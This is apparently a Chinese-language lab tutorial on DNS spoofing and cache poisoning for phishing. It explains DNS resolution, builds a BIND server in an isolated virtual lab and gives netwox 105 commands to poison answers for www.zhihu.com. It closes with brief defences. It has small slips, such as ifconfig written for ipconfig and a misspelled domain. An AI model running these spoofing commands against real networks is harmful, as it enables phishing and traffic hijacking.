钓鱼网站本地DOS攻击
一、当我们在浏览器中输入www.baidu.com,敲击回车后,电脑都做了什么?
1、解析输入的URL
2、进行DNS查询
2.1、查询本地浏览器的DNS缓存
chrome://net-internals/#dns 查看谷歌浏览器本地DNS缓存
firefox: about:config 查看火狐浏览器本地DNS缓存
2.2、查看本地hosts文件
C:\Windows\System32\drivers\etc\hosts windows下hosts文件所在路径
/etc/hosts Linux下hosts文件所在路径
2.3、查询本地的DNS服务器
上述2.1–2.3查询步骤属于递归查询。
2.4、如果本地DNS服务器不能解析,则向根服务器发起请求;根服务器会查看URL的顶级域,并向本地 的DNS服务器返回com顶级域对应的地址;接着本地DNS服务器会向顶级域的DNS server发起请求,.com的这个顶级域DNS server会接着向本地DNS服务器返回baidu.com域的地址;接着本地DNS服务器会接着想baidu.com域DNS server发起请求……,直到找到需要进行解析的域名www.baidu.com所对应的IP地址,再将查找结果返回给本地DNS服务器。
上述2.4查询步骤属于迭代查询过程。
3、浏览器获取到了www.baidu.com对应的IP地址后,两者之间进行三次握手,协商相应参数并建立连接。
4、浏览器向server发起get请求,服务器返回相应请求后并四次分手后断开连接。
二、为什么攻击者能够通过DNS协议钓鱼
DNS欺骗示意图:
DNS毒化示意图:
三、攻击环境模拟
1、虚拟机各个主机地址,所有虚拟机设备处于仅主机模式下
攻击者:172.24.8.129
DNS服务器:172.24.8.103
web服务器:172.24.8.134
普通用户:172.24.8.253
2、DNS服务器配置(使用Linux8.2作为DNS服务器)
2.1、关闭防火墙和selinux
[root@jing ~]# systemctl stop firewalld
[root@jing ~]# setenforce 0
[root@jing ~]# getenforce
Permissive
[root@jing ~]#
2.2、下载DNS服务端
[root@jing ~]# yum install -y bind
2.3、修改主配置文件/etc/named.conf
在对主配置文件修改的时候最好先做备份
[root@jing ~]# cp /etc/named.conf{,.bak} //对主配置文件做备份
[root@jing ~]# vim /etc/named.conf
options {
listen-on port 53 {172.24.8.103;};
directory "/var/named";
};
zone "qq.com" IN {
type master;
file "named.qq.com";
};
zone "8.24.172.in-addr.arpa" IN{
type master;
file "named.172.24.8";
};
2.4、配合区域文件
[root@jing ~]# cd /var/named
[root@jing named]# vim named.qq.com
$TTL 1D
@ IN SOA ns.qq.com. admin.qq.com.(
0
1D
1H
1W
3H)
IN NS ns.qq.com.
IN MX 6 mail.qq.com.
admin IN A 172.24.8.134
ns IN A 172.24.8.134
mail IN A 172.24.8.134
[root@jing named]# vim named.172.24.8
$TTL 1D
@ IN SOA ns.qq.com admin.qq.com. (
0
1D
1H
1W
3H )
IN NS ns.qq.com.
134 IN PTR ns.qq.com.
134 IN PTR www.qq.com.
134 IN PTR mail.qq.com.
2.5、检查语法
root@jing named]# named-checkconf
[root@jing named]# named-checkzone "qq.com" /var/named/named.qq.com
zone qq.com/IN: loaded serial 0
OK
[root@jing named]# named-checkzone "8.24.172.in-addr.arpa" /var/named/named.172.24.8
zone 8.24.172.in-addr.arpa/IN: loaded serial 0
OK
[root@jing named]#
2.6、重启DNS服务
[root@jing named]#systemctl restart named
2.7、测试
[root@jing named]# nslookup ns.qq.com 172.24.8.103
Server: 172.24.8.103
Address: 172.24.8.103#53
Name: ns.qq.com
Address: 172.24.8.134
[root@jing named]# nslookup 172.24.8.134 172.24.8.103
134.8.24.172.in-addr.arpa name = www.qq.com.
134.8.24.172.in-addr.arpa name = mail.qq.com.
134.8.24.172.in-addr.arpa name = ns.qq.com.
3、web服务器配置,直接使用靶机Metasploitable2作为目标服务器
测试:
4、客户端配置,私用windows2003作为普通用户
配置其DNS服务器为172.24.8.103
5、攻击前进行测试,访问www.zhihu.com
6、攻击者kali进行攻击
使用netwox的105号程序进行攻击
kali@kali:~$ sudo netwox 105 -h "www.zhihu.com" -H "172.24.8.134" -a "ns.qq.com" -A "172.24.8.134" -d eth0
-h : 要毒化的域名
-H: 仿冒该毒化域名的服务器IP
-a:本地DNS服务器中映射的域名
-A:本地DNS服务器中映射的IP
-d:发送的接口
7、在受害者主机再次访问www.zhuhu.com进行测试
查看缓存ifconfig/displaydns
8、现在我们不欺骗用户主机了,我们可以来欺骗一下本地的DNS server,让DNS缓存中毒
kali@kali:~$ sudo netwox 105 -h "www.zhihu.com" -H "172.24.8.103" -a "ns.qq.com" -A "172.24.8.103" -d eth0
在受害者主机端查看www.zhihu.com对应的IP
使用ifconfig/flushdns清理dns缓存
然后使用ipconfig/displaydns查看缓存:
四、如何防御DNS攻击
1、平时注意不要相信陌生人的电话
2、技术层面的URPF防御
URPF可以有效的针对地址欺骗类的攻击,严格模式有 2 个条件,只有同时满足两个条件的报文,才会被检测通过.
条件 1:在路由器转发表中,存在去往报文源地址的路由信息.
条件 2:报文的入接口与转发表中去往源地址路由的出接口一致.